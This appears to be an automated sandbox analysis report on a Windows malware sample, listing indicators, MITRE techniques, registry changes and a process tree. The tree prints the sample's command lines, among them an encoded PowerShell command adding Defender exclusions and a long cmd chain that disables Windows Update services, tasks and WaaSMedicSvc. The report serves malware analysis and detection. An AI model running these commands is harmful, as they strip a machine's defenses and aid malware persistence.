a9fb78c283399043d249c10638305c95673c5319c534d84a66407fefdee1d505

Analysis

max time kernel
268s
max time network
178s
platform
windows10_x64
resource
win10-20220414-en
submitted
06-05-2022 00:29

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a9fb78c283399043d249c10638305c95673c5319c534d84a66407fefdee1d505.exe
Size

2.2MB
MD5

258534f009540a1b82120c82cd9e697e
SHA1

3243d37c9b3424f261663c7d8b4f8781c3925c8e
SHA256

a9fb78c283399043d249c10638305c95673c5319c534d84a66407fefdee1d505
SHA512

d96a291402a3e0d4a8b92d73d67c8b7a80b868bed14dcb207c6999c32357a469860876cebe77ac3e144aabef6b3936d54cb8d64ed09ec558471fee0a8cf51945

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

Processes:

WerFault.exe

description pid process target process

PID 4716 created 3896 4716 WerFault.exe DllHost.exe

description	pid	process	target process
PID 4716 created 3896	4716	WerFault.exe	DllHost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

powershell.EXEsvchost.exe

description	pid	process	target process
PID 4200 created 588	4200	powershell.EXE	winlogon.exe
PID 1520 created 3896	1520	svchost.exe	DllHost.exe
PID 1520 created 2348	1520	svchost.exe	DllHost.exe
PID 1520 created 3896	1520	svchost.exe	DllHost.exe

Executes dropped EXE 1 IoCs

Processes:

updater.exe

pid process

1140 updater.exe
Possible privilege escalation attempt 4 IoCs
exploit

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

4992 takeown.exe
4216 icacls.exe
4772 takeown.exe
4176 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Modifies file permissions 1 TTPs 4 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exetakeown.exeicacls.exe

pid process

4992 takeown.exe
4216 icacls.exe
4772 takeown.exe
4176 icacls.exe

pid	process
1140	updater.exe

pid	process
4992	takeown.exe
4216	icacls.exe
4772	takeown.exe
4176	icacls.exe

pid	process
4992	takeown.exe
4216	icacls.exe
4772	takeown.exe
4176	icacls.exe

Drops file in System32 directory 5 IoCs

Processes:

powershell.EXEOfficeClickToRun.exepowershell.EXE

description	ioc	process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 3 IoCs

Processes:

conhost.exepowershell.EXEconhost.exe

description	pid	process	target process
PID 3176 set thread context of 4756	3176	conhost.exe	conhost.exe
PID 4200 set thread context of 1132	4200	powershell.EXE	dllhost.exe
PID 4452 set thread context of 4624	4452	conhost.exe	conhost.exe

Drops file in Windows directory 4 IoCs

Processes:

conhost.exe

description	ioc	process
File created	C:\Windows\Tasks\dialersvc64.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	conhost.exe
File created	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	conhost.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Program crash 3 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exe

pid pid_target process target process

4244 2348 WerFault.exe DllHost.exe
4488 3896 WerFault.exe DllHost.exe
4716 3896 WerFault.exe DllHost.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

4572 schtasks.exe

pid	pid_target	process	target process
4244	2348	WerFault.exe	DllHost.exe
4488	3896	WerFault.exe	DllHost.exe
4716	3896	WerFault.exe	DllHost.exe

pid	process
4572	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXEOfficeClickToRun.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={86E2963F-2DA1-44AE-8010-C6F4EA6587A2}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.execonhost.exepowershell.EXEpowershell.EXEdllhost.exeWerFault.exe

pid	process
4504	powershell.exe
4504	powershell.exe
4504	powershell.exe
3176	conhost.exe
4200	powershell.EXE
4200	powershell.EXE
4200	powershell.EXE
4616	powershell.EXE
4200	powershell.EXE
1132	dllhost.exe
1132	dllhost.exe
4616	powershell.EXE
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
4616	powershell.EXE
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
1132	dllhost.exe
4244	WerFault.exe
4244	WerFault.exe
4244	WerFault.exe
4244	WerFault.exe
4244	WerFault.exe
4244	WerFault.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

3168 Explorer.EXE

pid	process
3168	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowercfg.exepowercfg.execonhost.exepowercfg.exepowercfg.exepowershell.EXEpowershell.EXEdllhost.exeWerFault.exeWerFault.exeExplorer.EXEpowershell.exe

description	pid	process
Token: SeDebugPrivilege	4504	powershell.exe
Token: SeIncreaseQuotaPrivilege	4504	powershell.exe
Token: SeSecurityPrivilege	4504	powershell.exe
Token: SeTakeOwnershipPrivilege	4504	powershell.exe
Token: SeLoadDriverPrivilege	4504	powershell.exe
Token: SeSystemProfilePrivilege	4504	powershell.exe
Token: SeSystemtimePrivilege	4504	powershell.exe
Token: SeProfSingleProcessPrivilege	4504	powershell.exe
Token: SeIncBasePriorityPrivilege	4504	powershell.exe
Token: SeCreatePagefilePrivilege	4504	powershell.exe
Token: SeBackupPrivilege	4504	powershell.exe
Token: SeRestorePrivilege	4504	powershell.exe
Token: SeShutdownPrivilege	4504	powershell.exe
Token: SeDebugPrivilege	4504	powershell.exe
Token: SeSystemEnvironmentPrivilege	4504	powershell.exe
Token: SeRemoteShutdownPrivilege	4504	powershell.exe
Token: SeUndockPrivilege	4504	powershell.exe
Token: SeManageVolumePrivilege	4504	powershell.exe
Token: 33	4504	powershell.exe
Token: 34	4504	powershell.exe
Token: 35	4504	powershell.exe
Token: 36	4504	powershell.exe
Token: SeShutdownPrivilege	2336	powercfg.exe
Token: SeCreatePagefilePrivilege	2336	powercfg.exe
Token: SeShutdownPrivilege	1012	powercfg.exe
Token: SeCreatePagefilePrivilege	1012	powercfg.exe
Token: SeDebugPrivilege	3176	conhost.exe
Token: SeShutdownPrivilege	1980	powercfg.exe
Token: SeCreatePagefilePrivilege	1980	powercfg.exe
Token: SeShutdownPrivilege	1028	powercfg.exe
Token: SeCreatePagefilePrivilege	1028	powercfg.exe
Token: SeDebugPrivilege	4200	powershell.EXE
Token: SeDebugPrivilege	4616	powershell.EXE
Token: SeDebugPrivilege	4200	powershell.EXE
Token: SeDebugPrivilege	1132	dllhost.exe
Token: SeDebugPrivilege	4244	WerFault.exe
Token: SeDebugPrivilege	4488	WerFault.exe
Token: SeShutdownPrivilege	3168	Explorer.EXE
Token: SeCreatePagefilePrivilege	3168	Explorer.EXE
Token: SeShutdownPrivilege	3168	Explorer.EXE
Token: SeCreatePagefilePrivilege	3168	Explorer.EXE
Token: SeShutdownPrivilege	3168	Explorer.EXE
Token: SeCreatePagefilePrivilege	3168	Explorer.EXE
Token: SeShutdownPrivilege	3168	Explorer.EXE
Token: SeCreatePagefilePrivilege	3168	Explorer.EXE
Token: SeShutdownPrivilege	3168	Explorer.EXE
Token: SeCreatePagefilePrivilege	3168	Explorer.EXE
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeIncreaseQuotaPrivilege	4672	powershell.exe
Token: SeSecurityPrivilege	4672	powershell.exe
Token: SeTakeOwnershipPrivilege	4672	powershell.exe
Token: SeLoadDriverPrivilege	4672	powershell.exe
Token: SeSystemProfilePrivilege	4672	powershell.exe
Token: SeSystemtimePrivilege	4672	powershell.exe
Token: SeProfSingleProcessPrivilege	4672	powershell.exe
Token: SeIncBasePriorityPrivilege	4672	powershell.exe
Token: SeCreatePagefilePrivilege	4672	powershell.exe
Token: SeBackupPrivilege	4672	powershell.exe
Token: SeRestorePrivilege	4672	powershell.exe
Token: SeShutdownPrivilege	4672	powershell.exe
Token: SeDebugPrivilege	4672	powershell.exe
Token: SeSystemEnvironmentPrivilege	4672	powershell.exe
Token: SeRemoteShutdownPrivilege	4672	powershell.exe
Token: SeUndockPrivilege	4672	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

dwm.exe

pid process

988 dwm.exe
988 dwm.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

Conhost.exeConhost.exe

pid process

4036 Conhost.exe
3036 Conhost.exe

pid	process
988	dwm.exe
988	dwm.exe

pid	process
4036	Conhost.exe
3036	Conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

a9fb78c283399043d249c10638305c95673c5319c534d84a66407fefdee1d505.execonhost.execmd.execmd.execmd.exe

description	pid	process	target process
PID 2804 wrote to memory of 3176	2804	a9fb78c283399043d249c10638305c95673c5319c534d84a66407fefdee1d505.exe	conhost.exe
PID 2804 wrote to memory of 3176	2804	a9fb78c283399043d249c10638305c95673c5319c534d84a66407fefdee1d505.exe	conhost.exe
PID 2804 wrote to memory of 3176	2804	a9fb78c283399043d249c10638305c95673c5319c534d84a66407fefdee1d505.exe	conhost.exe
PID 3176 wrote to memory of 3012	3176	conhost.exe	cmd.exe
PID 3176 wrote to memory of 3012	3176	conhost.exe	cmd.exe
PID 3012 wrote to memory of 4504	3012	cmd.exe	powershell.exe
PID 3012 wrote to memory of 4504	3012	cmd.exe	powershell.exe
PID 3176 wrote to memory of 2532	3176	conhost.exe	cmd.exe
PID 3176 wrote to memory of 2532	3176	conhost.exe	cmd.exe
PID 3176 wrote to memory of 4192	3176	conhost.exe	cmd.exe
PID 3176 wrote to memory of 4192	3176	conhost.exe	cmd.exe
PID 2532 wrote to memory of 4860	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 4860	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 3524	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 3524	2532	cmd.exe	sc.exe
PID 4192 wrote to memory of 2336	4192	cmd.exe	powercfg.exe
PID 4192 wrote to memory of 2336	4192	cmd.exe	powercfg.exe
PID 2532 wrote to memory of 3476	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 3476	2532	cmd.exe	sc.exe
PID 4192 wrote to memory of 1012	4192	cmd.exe	powercfg.exe
PID 4192 wrote to memory of 1012	4192	cmd.exe	powercfg.exe
PID 3176 wrote to memory of 4756	3176	conhost.exe	conhost.exe
PID 3176 wrote to memory of 4756	3176	conhost.exe	conhost.exe
PID 3176 wrote to memory of 4756	3176	conhost.exe	conhost.exe
PID 3176 wrote to memory of 4756	3176	conhost.exe	conhost.exe
PID 3176 wrote to memory of 4756	3176	conhost.exe	conhost.exe
PID 3176 wrote to memory of 4756	3176	conhost.exe	conhost.exe
PID 3176 wrote to memory of 4756	3176	conhost.exe	conhost.exe
PID 3176 wrote to memory of 4756	3176	conhost.exe	conhost.exe
PID 3176 wrote to memory of 4756	3176	conhost.exe	conhost.exe
PID 3176 wrote to memory of 4756	3176	conhost.exe	conhost.exe
PID 3176 wrote to memory of 4756	3176	conhost.exe	conhost.exe
PID 2532 wrote to memory of 4796	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 4796	2532	cmd.exe	sc.exe
PID 4192 wrote to memory of 1980	4192	cmd.exe	powercfg.exe
PID 4192 wrote to memory of 1980	4192	cmd.exe	powercfg.exe
PID 4192 wrote to memory of 1028	4192	cmd.exe	powercfg.exe
PID 4192 wrote to memory of 1028	4192	cmd.exe	powercfg.exe
PID 2532 wrote to memory of 3924	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 3924	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 4420	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 4420	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 4884	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 4884	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 2224	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 2224	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 3340	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 3340	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 4280	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 4280	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 4272	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 4272	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 1944	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 1944	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 4592	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 4592	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 3212	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 3212	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 4988	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 4988	2532	cmd.exe	sc.exe
PID 2532 wrote to memory of 4992	2532	cmd.exe	takeown.exe
PID 2532 wrote to memory of 4992	2532	cmd.exe	takeown.exe
PID 3176 wrote to memory of 4912	3176	conhost.exe	cmd.exe
PID 3176 wrote to memory of 4912	3176	conhost.exe	cmd.exe

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:640

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:588

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
- Suspicious use of FindShellTrayWindow
PID:988

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{6be17f06-4b09-4b3d-a747-db416ec26d29}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1132

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3168

C:\Users\Admin\AppData\Local\Temp\a9fb78c283399043d249c10638305c95673c5319c534d84a66407fefdee1d505.exe
"C:\Users\Admin\AppData\Local\Temp\a9fb78c283399043d249c10638305c95673c5319c534d84a66407fefdee1d505.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:2804

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\a9fb78c283399043d249c10638305c95673c5319c534d84a66407fefdee1d505.exe"
3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3176

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAHIAegBkACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABtAHgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAagBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AawBrAG8AIwA+AA=="
4⤵
- Suspicious use of WriteProcessMemory
PID:3012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -EncodedCommand "PAAjAHIAegBkACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABtAHgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAagBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AawBrAG8AIwA+AA=="
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4504

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c sc stop wuauserv & sc stop bits & sc stop dosvc & sc stop UsoSvc & sc stop WaaSMedicSvc & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & sc config bits start= disabled & sc failure bits reset= 0 actions= "" & sc config dosvc start= disabled & sc failure dosvc reset= 0 actions= "" & sc config UsoSvc start= disabled & sc failure UsoSvc reset= 0 actions= "" & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & takeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll & icacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename C:\\Windows\\System32\\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE
4⤵
- Suspicious use of WriteProcessMemory
PID:2532

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
5⤵
PID:2948

C:\Windows\system32\sc.exe
sc stop wuauserv
5⤵
PID:4860

C:\Windows\system32\sc.exe
sc stop bits
5⤵
PID:3524

C:\Windows\system32\sc.exe
sc stop dosvc
5⤵
PID:3476

C:\Windows\system32\sc.exe
sc stop UsoSvc
5⤵
PID:4796

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
5⤵
PID:3924

C:\Windows\system32\sc.exe
sc config wuauserv start= disabled
5⤵
PID:4420

C:\Windows\system32\sc.exe
sc failure wuauserv reset= 0 actions= ""
5⤵
PID:4884

C:\Windows\system32\sc.exe
sc config bits start= disabled
5⤵
PID:2224

C:\Windows\system32\sc.exe
sc failure bits reset= 0 actions= ""
5⤵
PID:3340

C:\Windows\system32\sc.exe
sc config dosvc start= disabled
5⤵
PID:4280

C:\Windows\system32\sc.exe
sc failure dosvc reset= 0 actions= ""
5⤵
PID:4272

C:\Windows\system32\sc.exe
sc config UsoSvc start= disabled
5⤵
PID:1944

C:\Windows\system32\sc.exe
sc failure UsoSvc reset= 0 actions= ""
